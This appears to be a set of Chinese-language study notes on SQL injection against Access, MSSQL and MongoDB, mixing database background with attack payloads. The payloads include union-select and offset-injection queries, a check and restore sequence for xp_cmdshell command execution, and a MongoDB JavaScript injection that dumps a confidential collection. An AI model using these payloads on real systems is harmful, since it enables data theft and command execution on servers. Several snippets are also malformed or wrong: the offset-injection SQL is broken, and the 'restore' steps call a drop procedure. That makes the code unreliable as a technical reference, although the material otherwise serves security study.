Access
简介
Access 数据库是由微软发布的关联式数据库管理系统,主要用于存储数据、数据分析、开发软件
其最大的优点是:易学!不是学计算机专业的人员,也能学会。低成本地满足了那些从事企业管理工作的人员的管理需要,通过软件来规范同事、下属的行为,推行其管理思想。(.NET、VB、 C 语言等开发工具对于非计算机专业人员来说太难了,而 Access 则很容易)
注入
基本流程
- 猜解表名、列名后,使用ASCII编码的方式进行boos型注入
- 通过猜解表名后,使用偏移注入爆出当前表所偶内容
- 通过跨库查询,查询其它数据库中内容
偏移注入
eg:
admin表有id,user,passwd三列1
2
3
4
5
6
7
8select * from admin; # 本查询查了三列
union select 1,2,3,4,5,6,7,* from admin; # 此处*代表三列
# 定义a、b两个表,都代表admin
(admin select a inner join admin as b);
# *代表:输出a表和b表并列后的top 1 (第一行)的内容
select 1,2,3,4,* from (admin as a inner join admin as b and a.id=b.id)
跨库查询
select * from [路径].库名
eg:1
2
3("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"$Request.ServerVariables("URL")&"','POST','"&replace(Request.Form(Fy_Post),"'","'")&"')")
&=1"')") and union select 1,2,3 from news #
注入范例
1 |
|
MSSQL
简介
ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发。
权限
角色
- 服务器角色:针对运行整个数据库服务器设定的角色和权限
- 数据库角色:针对某个特定数据库设定的角色和权限
固定服务器角色 | 描述 |
---|---|
sysadmin | 可以在SQL Server中执行任何活动 |
serveradmin | 可以设置服务器范围的配置选项,关闭服务器 |
setupadmin | 可以管理链接服务器和启动过程,并执行某些系统存储过程(如:sp_serveroption) |
securityadmin | 可以管理登录和CREATE、DATABASE权限,还可读取错误日志和更改密码 |
processadmin | 可以管理在SQL Server实例中运行的进程 |
dbcreator | 可以创建、更改和除去数据库 |
diskadmin | 可以管理磁盘文件 |
bulkadmin | 可以执行BULK INSERT语句 |
判断当前服务器角色1
select is_srvrolemember('sysadmin');
固定数据库角色 | 描述 |
---|---|
db_owner | 在数控中有全部权限 |
db_accessadmin | 可以添加或删除用户ID |
db_securityadmin | 可以管理全部权限、对象所有权、角色和角色成员资格 |
db_ddladmin | 可以发出ALL DDL,但不能发出GRANT、REVOKE或DENY语句 |
db_backupoperator | 可以发出DBCC、CHECKPOINT和BACKUP语句 |
db_datareader | 可以选择数据库内任何用户表中的所有数据 |
db_datawriter | 可以更改数据库内任何用户表中的所有数据 |
db_denydatareader | 不能选择数据库内任何用户表中的所有数据 |
db_denydatawriter | 不能更改数据库内任何用户表中的所有数据 |
判断当前数据库角色1
select is_member('db_owner');
扩展存储过程
定义
扩展存储过程是MsSQL提供的特殊功能。所谓“扩展存储过程”,其实就是一个普通的Windows系统DLL文件,按照某种规则实现了某些函数功能。
常见利用方法
在SQL注入攻击过程中,最常利用到的扩展存储见下表:
存储过程 | 利用方法 |
---|---|
xp_cmdshell | 直接执行系统命令 |
xp_regread | 注册表读取 |
xp_regwrite | 写入注册表 |
xp_dirtre | 列目录操作 |
xp_enumds | ODBC连接 |
xp_loginconfig | 配置服务器安全模式信息 |
xp_makecab | 创建压缩卷 |
xp_ntsec_enumdomains | 查看domain信息 |
xp_terminate_jroces | 查看终端进程,给出一个进程PID |
检测与恢复扩展存储
提交如下查询进行检测,查看xp_cmdshell扩展存储过程是否被删除1
and 1=(Select count(*) FROM master.dbo.sysobjects WHERE name='xp_cmdshell')
若扩展存储被删除,可执行如下查询进行恢复1
;exec sp_dropextendedproc 'xp_cmdshell'
上诉一条查询语句,是在恢复前先删除xp_cmdshell,以后再在后面重新进行创建,随后执行如下查询1
;exec sp_dropextendedproc 'xp_cmdshell','xsql70.dll'
该语句利用系统中默认的xsql70.dll
文件,自动恢复xp_cmdshell,若恢复失败,则说明该文件已被改名或删除,可以上传一个xsql70.dll
文件,自定义路径进行恢复。例如执行如下查询语句1
;exec sp_dropextendedproc 'xp_cmdshell','c:\xsql70.dll'
MongoDB
简介
MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。
MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。它支持的数据结构非常松散,是类似json的bson格式,因此可以存储比较复杂的数据类型。Mongo最大的特点是它支持的查询语言非常强大,其语法有点类似于面向对象的查询语言,几乎可以实现类似关系数据库单表查询的绝大部分功能,而且还支持对数据建立索引。
特点
属于nosql,没有库、表结构,只有对应关系
一些用法
注入的一些例子1
2
3
4
5$id=1'});return ({title:tojson(
db.Authority_confidential.find()[1]),2:'1'});
db.notice.findOne({'id':'$id'});
return({title:tojson(db.Authority_confidential.find()[1]),2:'1'});
一些变量含义:
$gt ——- greater than >
$gte —— gt equal >=
$lt ——— less than <
$lte ——– lt equal <=
$ne ——— not equal !=
$eq ——— equal =
补充
http://www.makaidong.com/%E5%8D%9A%E5%AE%A2%E5%9B%AD%E9%97%AE%E7%AD%94/11237.shtml
mssql/oracle
优点:适用于大型网络,适合分级管理
缺点:庞大,系统复杂
access、mssql使用工具首选穿山甲(pangolin)
渗透篇03-SQL Injection漏洞详解–手工挖掘(SQL server篇)
https://blog.csdn.net/qq_38055050/article/details/79953652